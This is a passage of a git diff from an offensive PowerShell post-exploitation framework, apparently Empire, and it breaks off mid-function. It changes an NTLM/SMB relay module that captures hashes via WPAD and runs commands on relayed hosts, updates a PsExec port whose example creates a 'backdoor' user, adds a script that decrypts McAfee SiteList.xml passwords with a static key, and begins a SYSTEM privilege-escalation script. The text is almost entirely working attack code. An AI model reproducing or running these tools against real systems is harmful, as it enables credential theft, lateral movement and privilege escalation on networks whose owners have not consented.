$SMB_blob_length = $SMB_blob_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 27)) $SMB_byte_count = $SMB_byte_count -replace "-00-00","" - $SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_byte_count = $SMB_byte_count.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 86)) $SMB_netbios_length = $SMB_netbios_length -replace "-00-00","" - $SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_netbios_length = $SMB_netbios_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + [array]::Reverse($SMB_length_1) + [array]::Reverse($SMB_length_2) + [array]::Reverse($SMB_length_3) + [array]::Reverse($SMB_NTLMSSP_length) [array]::Reverse($SMB_netbios_length) $j = 0 @@ -538,17 +596,17 @@ $SMB_relay_response_scriptblock = + $SMB_blob_length` + (0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80)` + $SMB_byte_count` - + (0xa1,0x82,0x01)` + + (0xa1,0x82)` + $SMB_length_1` - + (0x30,0x82,0x01)` + + (0x30,0x82)` + $SMB_length_2` - + (0xa2,0x82,0x01)` + + (0xa2,0x82)` + $SMB_length_3` - + (0x04,0x82,0x01)` + + (0x04,0x82)` + $SMB_NTLMSSP_length` + $HTTP_request_bytes` + (0x55,0x6e,0x69,0x78,0x00,0x53,0x61,0x6d,0x62,0x61,0x00) - + $SMB_relay_response_stream.write($SMB_relay_response_send, 0, $SMB_relay_response_send.length) $SMB_relay_response_stream.Flush() @@ -595,17 +653,17 @@ $SMB_relay_execute_scriptblock = $SMB_relay_failed = $false $SMB_relay_execute_bytes = New-Object System.Byte[] 1024 - $SMB_service_random = [String]::Join("00-", (1..20 | % {"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) + $SMB_service_random = [String]::Join("00-", (1..20 | ForEach-Object{"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) $SMB_service = $SMB_service_random -replace "-00","" $SMB_service = $SMB_service.Substring(0,$SMB_service.Length-1) - $SMB_service = $SMB_service.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_service = $SMB_service.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length) $SMB_service_random += '00-00-00' - [Byte[]]$SMB_service_bytes = $SMB_service_random.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - $SMB_referent_ID_bytes = [String](1..4 | % {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $SMB_referent_ID_bytes = $SMB_referent_ID_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + [Byte[]]$SMB_service_bytes = $SMB_service_random.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_referent_ID_bytes = [String](1..4 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $SMB_referent_ID_bytes = $SMB_referent_ID_bytes.Split(" ") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMBRelayCommand = "%COMSPEC% /C `"" + $SMBRelayCommand + "`"" - [System.Text.Encoding]::ASCII.GetBytes($SMBRelayCommand) | % { $SMB_relay_command += "{0:X2}-00-" -f $_ } + [System.Text.Encoding]::UTF8.GetBytes($SMBRelayCommand) | ForEach-Object{ $SMB_relay_command += "{0:X2}-00-" -f $_ } if([bool]($SMBRelayCommand.length%2)) { @@ -616,7 +674,7 @@ $SMB_relay_execute_scriptblock = $SMB_relay_command += '00-00-00-00' } - [Byte[]]$SMB_relay_command_bytes = $SMB_relay_command.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + [Byte[]]$SMB_relay_command_bytes = $SMB_relay_command.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMB_service_data_length_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + $SMB_service_bytes.length + 237) $SMB_service_data_length_bytes = $SMB_service_data_length_bytes[2..0] $SMB_service_byte_count_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + $SMB_service_bytes.length + 237 - 63) @@ -885,7 +943,7 @@ $SMB_relay_execute_scriptblock = # HTTP/HTTPS Server ScriptBlock - HTTP/HTTPS listener $HTTP_scriptblock = { - param ($SMBRelayTarget,$SMBRelayCommand,$SMBRelayUsernames,$SMBRelayAutoDisable,$SMBRelayNetworkTimeout,$MachineAccounts,$ForceWPADAuth) + param ($SMBRelayTarget,$SMBRelayCommand,$SMBRelayUsernames,$SMBRelayAutoDisable,$SMBRelayNetworkTimeout,$MachineAccounts,$WPADAuth) Function NTLMChallengeBase64 { @@ -893,19 +951,19 @@ $HTTP_scriptblock = $HTTP_timestamp = Get-Date $HTTP_timestamp = $HTTP_timestamp.ToFileTime() $HTTP_timestamp = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_timestamp)) - $HTTP_timestamp = $HTTP_timestamp.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} if($Inveigh.challenge) { $HTTP_challenge = $Inveigh.challenge $HTTP_challenge_bytes = $Inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} } else { - $HTTP_challenge_bytes = [String](1..8 | % {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) $HTTP_challenge = $HTTP_challenge_bytes -replace ' ', '' - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} } $inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $HTTP_challenge) |Out-Null @@ -946,8 +1004,7 @@ $HTTP_scriptblock = $HTTP_type = "HTTP" } - - if (($inveigh.request.RawUrl -match '/wpad.dat') -and ($ForceWPADAuth -eq 'n')) + if (($inveigh.request.RawUrl -match '/wpad.dat') -and ($WPADAuth -eq 'Anonymous')) { $inveigh.response.StatusCode = 200 } @@ -966,6 +1023,9 @@ $HTTP_scriptblock = if ($HTTP_request_bytes[8] -eq 1) { + $inveigh.console_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address) + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address)]) + if(($inveigh.SMB_relay) -and ($inveigh.SMB_relay_active_step -eq 0) -and ($inveigh.request.RemoteEndpoint.Address -ne $SMBRelayTarget)) { $inveigh.SMB_relay_active_step = 1 @@ -1078,7 +1138,7 @@ $HTTP_scriptblock = } } - if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.repeat)) + if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.spoofer_repeat)) { $inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address } @@ -1104,7 +1164,7 @@ $HTTP_scriptblock = } - if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.repeat)) + if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.spoofer_repeat)) { $inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address } @@ -1146,7 +1206,7 @@ $HTTP_scriptblock = } else { - $inveigh.console_queue.add("NTLMv1 relay not yet supported") + $inveigh.console_queue.add("NTLMv1 SMB relay not yet supported") $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - NTLMv1 relay not yet supported")]) $inveigh.SMB_relay_active_step = 0 $SMB_relay_socket.Close() @@ -1191,7 +1251,74 @@ $HTTP_scriptblock = $HTTP_stream.write($HTTP_buffer, 0, $HTTP_buffer.length) $HTTP_stream.close() - if(!$inveigh.running -and $inveigh.file_output) + } + + $inveigh.HTTP_listener.Stop() + $inveigh.HTTP_listener.Close() +} + +$control_relay_scriptblock = +{ + param ($RunTime) + + if($RunTime) + { + $control_timeout = new-timespan -Minutes $RunTime + $control_stopwatch = [diagnostics.stopwatch]::StartNew() + } + + while ($inveigh.relay_running) + { + + if($RunTime) + { + if($control_stopwatch.elapsed -ge $control_timeout) + { + if($inveigh.HTTP_listener.IsListening) + { + $inveigh.HTTP_listener.Stop() + $inveigh.HTTP_listener.Close() + } + + $inveigh.console_queue.add("Inveigh Relay exited due to run time at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")]) + Start-Sleep -m 5 + $inveigh.relay_running = $false + + if($inveigh.HTTPS) + { + & "netsh" http delete sslcert ipport=0.0.0.0:443 > $null + + try + { + $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") + $certificate_store.Open('ReadWrite') + $certificate = $certificate_store.certificates.find("FindByThumbprint",$inveigh.certificate_thumbprint,$false)[0] + $certificate_store.Remove($certificate) + $certificate_store.Close() + } + catch + { + if($inveigh.status_output) + { + $inveigh.console_queue.add("SSL Certificate Deletion Error - Remove Manually") + } + + $inveigh.log.add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") + + if($inveigh.file_output) + { + "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually"| Out-File $Inveigh.log_out_file -Append + } + } + } + + $inveigh.HTTP = $false + $inveigh.HTTPS = $false + } + } + + if($inveigh.file_output -and (!$inveigh.running -or !$inveigh.bruteforce_running)) { while($inveigh.log_file_queue.Count -gt 0) { @@ -1210,13 +1337,17 @@ $HTTP_scriptblock = $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append $inveigh.NTLMv2_file_queue.RemoveRange(0,1) } + + while($inveigh.cleartext_file_queue.Count -gt 0) + { + $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append + $inveigh.cleartext_file_queue.RemoveRange(0,1) + } } + Start-Sleep -m 5 } - - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() -} + } # HTTP/HTTPS Listener Startup Function Function HTTPListener() @@ -1248,8 +1379,21 @@ Function HTTPListener() $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument( $SMBRelayTarget).AddArgument($SMBRelayCommand).AddArgument($SMBRelayUsernames).AddArgument( $SMBRelayAutoDisable).AddArgument($SMBRelayNetworkTimeout).AddArgument( - $MachineAccounts).AddArgument($ForceWPADAuth) > $null - $HTTP_handle = $HTTP_powershell.BeginInvoke() + $MachineAccounts).AddArgument($WPADAuth) > $null + $HTTP_powershell.BeginInvoke() > $null +} + +# Control Relay Startup Function +Function ControlRelayLoop() +{ + $control_relay_runspace = [runspacefactory]::CreateRunspace() + $control_relay_runspace.Open() + $control_relay_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $control_relay_powershell = [powershell]::Create() + $control_relay_powershell.Runspace = $control_relay_runspace + $control_relay_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $control_relay_powershell.AddScript($control_relay_scriptblock).AddArgument($RunTime) > $null + $control_relay_powershell.BeginInvoke() > $null } # HTTP Server Start @@ -1258,6 +1402,12 @@ if($inveigh.HTTP -or $inveigh.HTTPS) HTTPListener } +# Control Relay Loop Start +if($RunTime -or $inveigh.file_output) +{ + ControlRelayLoop +} + if(!$inveigh.running -and $inveigh.console_output) { @@ -1274,33 +1424,31 @@ if(!$inveigh.running -and $inveigh.console_output) { switch -wildcard ($inveigh.console_queue[0]) { - "*local administrator*" + "Inveigh *exited *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } - "*NTLMv1 challenge/response written*" - { - if($inveigh.file_output) + "* written to *" { - write-warning $inveigh.console_queue[0] - } + if($inveigh.file_output) + { + write-warning $inveigh.console_queue[0] + } + $inveigh.console_queue.RemoveRange(0,1) } - "*NTLMv2 challenge/response written*" - { - if($inveigh.file_output) + "* for relay *" { write-warning $inveigh.console_queue[0] - } $inveigh.console_queue.RemoveRange(0,1) } - "* relay *" + "*SMB relay *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } - "Service *" + "* local administrator *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) @@ -1327,4 +1475,4 @@ if(!$inveigh.running -and $inveigh.console_output) } } -} +} \ No newline at end of file diff --git a/data/module_source/lateral_movement/Invoke-PsExec.ps1 b/data/module_source/lateral_movement/Invoke-PsExec.ps1 index 699dc5376..06f6e883a 100644 --- a/data/module_source/lateral_movement/Invoke-PsExec.ps1 +++ b/data/module_source/lateral_movement/Invoke-PsExec.ps1 @@ -1,80 +1,90 @@ function Invoke-PsExec { - <# +<# .SYNOPSIS - This function is a rough port of Metasploit's psexec functionality. - It utilizes Windows API calls to open up the service manager on - a remote machine, creates/run a service with an associated binary - path or command, and then cleans everything up. - Either a -Command or a custom -ServiceEXE can be specified. - For -Commands, a -ResultsFile can also be specified to retrieve the - results of the executed command. + This function is a rough port of Metasploit's psexec functionality. + It utilizes Windows API calls to open up the service manager on + a remote machine, creates/run a service with an associated binary + path or command, and then cleans everything up. - Adapted from MSF's version (see links). + Either a -Command or a custom -ServiceEXE can be specified. + For -Commands, a -ResultsFile can also be specified to retrieve the + results of the executed command. - Author: @harmj0y - License: BSD 3-Clause + Adapted from MSF's version (see links). + + Author: @harmj0y + License: BSD 3-Clause .PARAMETER ComputerName - ComputerName to run the command on. + + ComputerName to run the command on. .PARAMETER Command - Binary path (or Windows command) to execute. + + Binary path (or Windows command) to execute. .PARAMETER ServiceName - The name of the service to create, defaults to "TestSVC" + + The name of the service to create, defaults to "TestSVC" .PARAMETER ResultFile - If you want results from your command, specify this flag. - Name of the file to write the results to locally, defaults to - copying in the temporary result file to the local location. + + Switch. If you want results from your command, specify this flag. + Name of the file to write the results to locally, defaults to + copying in the temporary result file to the local location. .PARAMETER ServiceEXE - Local service binary to upload/execute on the remote host - (instead of a command to execute). + + Local service binary to upload/execute on the remote host + (instead of a command to execute). .PARAMETER NoCleanup - Don't remove the service after starting it (for ServiceEXEs). + + Don't remove the service after starting it (for ServiceEXEs). .EXAMPLE - > Invoke-PsExec -ComputerName 192.168.50.200 -Command "net user backdoor password123 /add" -ServiceName Updater32 - Creates a user named backdoor on the 192.168.50.200 host, with the - temporary service being named 'Updater32'. + PS C:\> Invoke-PsExec -ComputerName 192.168.50.200 -Command "net user backdoor password123 /add" -ServiceName Updater32 + + Creates a user named backdoor on the 192.168.50.200 host, with the + temporary service being named 'Updater32'. .EXAMPLE - > Invoke-PsExec -ComputerName 192.168.50.200 -Command "dir C:\" -ServiceName Updater32 -ResultFile "results.txt" - Runs the "dir C:\" command on 192.168.50.200 with a temporary service named 'Updater32', - and copies the result file to "results.txt" on the local path. + PS C:\> Invoke-PsExec -ComputerName 192.168.50.200 -Command "dir C:\" -ServiceName Updater32 -ResultFile "results.txt" + + Runs the "dir C:\" command on 192.168.50.200 with a temporary service named 'Updater32', + and copies the result file to "results.txt" on the local path. .EXAMPLE - > Invoke-PsExec -ComputerName 192.168.50.200 -ServiceName Updater32 -ServiceEXE "service.exe" - Uploads "service.exe" to the remote host, registers/starts it as a service with name - 'Updater32', and removes the service/binary after it runs (or fails to respond w/in 30 seconds). + PS C:\> Invoke-PsExec -ComputerName 192.168.50.200 -ServiceName Updater32 -ServiceEXE "service.exe" + + Uploads "service.exe" to the remote host, registers/starts it as a service with name + 'Updater32', and removes the service/binary after it runs (or fails to respond w/in 30 seconds). .LINK - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb - https://github.com/rapid7/metasploit-framework/blob/master/tools/psexec.rb - #> + https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb + https://github.com/rapid7/metasploit-framework/blob/master/tools/psexec.rb +#> [CmdletBinding()] param( [Parameter(Mandatory = $True)] - [string] + [String] $ComputerName, - [string] + [String] $Command, - [string] + [String] $ServiceName = "TestSVC", - [string] + [String] $ResultFile, - [string] + [String] $ServiceEXE, [switch] @@ -163,14 +173,14 @@ function Invoke-PsExec { { param( [Parameter(Mandatory = $True)] - [string] + [String] $ComputerName, [Parameter(Mandatory = $True)] - [string] + [String] $Command, - [string] + [String] $ServiceName = "TestSVC", [switch] @@ -184,23 +194,23 @@ function Invoke-PsExec { $CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate) $OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA - $OpenSCManagerADelegate = Get-DelegateType @( [string], [string], [Int]) ([IntPtr]) + $OpenSCManagerADelegate = Get-DelegateType @( [String], [String], [Int]) ([IntPtr]) $OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate) $OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA - $OpenServiceADelegate = Get-DelegateType @( [Int], [String], [Int]) ([Int]) + $OpenServiceADelegate = Get-DelegateType @( [IntPtr], [String], [Int]) ([IntPtr]) $OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate) $CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA - $CreateServiceADelegate = Get-DelegateType @( [Int], [string], [string], [Int], [Int], [Int], [Int], [string], [string], [Int], [Int], [Int], [Int]) ([IntPtr]) + $CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr]) $CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate) $StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA - $StartServiceADelegate = Get-DelegateType @( [Int], [Int], [Int]) ([Int]) + $StartServiceADelegate = Get-DelegateType @( [IntPtr], [Int], [Int]) ([IntPtr]) $StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate) $DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService - $DeleteServiceDelegate = Get-DelegateType @( [Int] ) ([Int]) + $DeleteServiceDelegate = Get-DelegateType @( [IntPtr] ) ([IntPtr]) $DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate) $GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError diff --git a/data/module_source/privesc/Get-SiteListPassword.ps1 b/data/module_source/privesc/Get-SiteListPassword.ps1 new file mode 100644 index 000000000..f6318729b --- /dev/null +++ b/data/module_source/privesc/Get-SiteListPassword.ps1 @@ -0,0 +1,178 @@ +function Get-SiteListPassword { +<# + .SYNOPSIS + + Retrieves the plaintext passwords for found McAfee's SiteList.xml files. + Based on Jerome Nokin (@funoverip)'s Python solution (in links). + + PowerSploit Function: Get-SiteListPassword + Original Author: Jerome Nokin (@funoverip) + PowerShell Port: @harmj0y + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .PARAMETER SiteListFilePath + + Optional path to a SiteList.xml file. + + .EXAMPLE + + PS C:\> Get-SiteListPassword + + EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== + UserName : + Path : Products/CommonUpdater + Name : McAfeeHttp + DecPassword : MyStrongPassword! + Enabled : 1 + DomainName : + Server : update.nai.com:80 + + EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== + UserName : McAfeeService + Path : Repository$ + Name : Paris + DecPassword : MyStrongPassword! + Enabled : 1 + DomainName : companydomain + Server : paris001 + + EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== + UserName : McAfeeService + Path : Repository$ + Name : Tokyo + DecPassword : MyStrongPassword! + Enabled : 1 + DomainName : companydomain + Server : tokyo000 + + .LINK + https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ + https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/ + https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md +#> + + [CmdletBinding()] + param( + [ValidateScript({Test-Path -Path $_ })] + [String] + $SiteListFilePath + ) + + function Get-DecryptedSitelistPassword { + # PowerShell adaptation of https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ + # Original Author: Jerome Nokin (@funoverip / jerome.nokin@gmail.com) + # port by @harmj0y + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $True)] + [String] + $B64Pass + ) + + # make sure the appropriate assemblies are loaded + Add-Type -assembly System.Security + Add-Type -assembly System.Core + + # declare the encoding/crypto providers we need + $Encoding = [System.Text.Encoding]::ASCII + $SHA1 = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider + $3DES = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider + + # static McAfee key XOR key LOL + $XORKey = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06,0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19 + + # xor the input b64 string with the static XOR key + $I = 0; + $UnXored = [System.Convert]::FromBase64String($B64Pass) | Foreach-Object { $_ -BXor $XORKey[$I++ % $XORKey.Length] } + + # build the static McAfee 3DES key TROLOL + $3DESKey = $SHA1.ComputeHash($Encoding.GetBytes('')) + ,0x00*4 + + # set the options we need + $3DES.Mode = 'ECB' + $3DES.Padding = 'None' + $3DES.Key = $3DESKey + + # decrypt the unXor'ed block + $Decrypted = $3DES.CreateDecryptor().TransformFinalBlock($UnXored, 0, $UnXored.Length) + + # ignore the padding for the result + $Index = [Array]::IndexOf($Decrypted, [Byte]0) + if($Index -ne -1) { + $DecryptedPass = $Encoding.GetString($Decrypted[0..($Index-1)]) + } + else { + $DecryptedPass = $Encoding.GetString($Decrypted) + } + + New-Object -TypeName PSObject -Property @{'Encrypted'=$B64Pass;'Decrypted'=$DecryptedPass} + } + + function Get-SitelistFields { + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $True)] + [String] + $Path + ) + + try { + [Xml]$SiteListXml = Get-Content -Path $Path + + if($SiteListXml.InnerXml -Like "*password*") { + Write-Verbose "Potential password in found in $Path" + + $SiteListXml.SiteLists.SiteList.ChildNodes | Foreach-Object { + try { + $PasswordRaw = $_.Password.'#Text' + + if($_.Password.Encrypted -eq 1) { + # decrypt the base64 password if it's marked as encrypted + $DecPassword = if($PasswordRaw) { (Get-DecryptedSitelistPassword -B64Pass $PasswordRaw).Decrypted } else {''} + } + else { + $DecPassword = $PasswordRaw + } + + $Server = if($_.ServerIP) { $_.ServerIP } else { $_.Server } + $Path = if($_.ShareName) { $_.ShareName } else { $_.RelativePath } + + $ObjectProperties = @{ + 'Name' = $_.Name; + 'Enabled' = $_.Enabled; + 'Server' = $Server; + 'Path' = $Path; + 'DomainName' = $_.DomainName; + 'UserName' = $_.UserName; + 'EncPassword' = $PasswordRaw; + 'DecPassword' = $DecPassword; + } + New-Object -TypeName PSObject -Property $ObjectProperties + } + catch { + Write-Debug "Error parsing node : $_" + } + } + } + } + catch { + Write-Error $_ + } + } + + if($SiteListFilePath) { + $XmlFiles = Get-ChildItem -Path $SiteListFilePath + } + else { + $XmlFiles = 'C:\Program Files\','C:\Program Files (x86)\','C:\Documents and Settings\','C:\Users\' | Foreach-Object { + Get-ChildItem -Path $_ -Recurse -Include 'SiteList.xml' -ErrorAction SilentlyContinue + } + } + + $XmlFiles | Where-Object { $_ } | Foreach-Object { + Write-Verbose "Parsing SiteList.xml file '$($_.Fullname)'" + Get-SitelistFields -Path $_.Fullname + } +} diff --git a/data/module_source/privesc/Get-System.ps1 b/data/module_source/privesc/Get-System.ps1 new file mode 100644 index 000000000..17f5c4170 --- /dev/null +++ b/data/module_source/privesc/Get-System.ps1 @@ -0,0 +1,590 @@ +function Get-System { +<# + .SYNOPSIS + + GetSystem functionality inspired by Meterpreter's getsystem. + 'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create + a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege. + NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure + token duplication works correctly. + + PowerSploit Function: Get-System + Author: @harmj0y, @mattifestation + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .PARAMETER Technique + + The technique to use, 'NamedPipe' or 'Token'. + + .PARAMETER ServiceName + + The name of the service used with named pipe impersonation, defaults to 'TestSVC'. + + .PARAMETER PipeName + + The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'. + + .PARAMETER RevToSelf + + Reverts the current thread privileges. + + .PARAMETER WhoAmI + + Switch. Display the credentials for the current PowerShell thread. + + .EXAMPLE + + PS> Get-System + + Uses named impersonate to elevate the current thread token to SYSTEM. + + .EXAMPLE + + PS> Get-System -ServiceName 'PrivescSvc' -PipeName 'secret' + + Uses named impersonate to elevate the current thread token to SYSTEM + with a custom service and pipe name. + + .EXAMPLE + + PS> Get-System -Technique Token + + Uses token duplication to elevate the current thread token to SYSTEM. + + .EXAMPLE + + PS> Get-System -WhoAmI + + Displays the credentials for the current thread. + + .EXAMPLE + + PS> Get-System -RevToSelf + + Reverts the current thread privileges. + + .LINK + + https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c + https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot + http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/ + http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ +#> + [CmdletBinding(DefaultParameterSetName = 'NamedPipe')] + param( + [Parameter(ParameterSetName = "NamedPipe")] + [Parameter(ParameterSetName = "Token")] + [String] + [ValidateSet("NamedPipe", "Token")] + $Technique = 'NamedPipe', + + [Parameter(ParameterSetName = "NamedPipe")] + [String] + $ServiceName = 'TestSVC', + + [Parameter(ParameterSetName = "NamedPipe")] + [String] + $PipeName = 'TestSVC', + + [Parameter(ParameterSetName = "RevToSelf")] + [Switch] + $RevToSelf, + + [Parameter(ParameterSetName = "WhoAmI")] + [Switch] + $WhoAmI + ) + + $ErrorActionPreference = "Stop" + + # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html + function Local:Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html + function Local:Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = 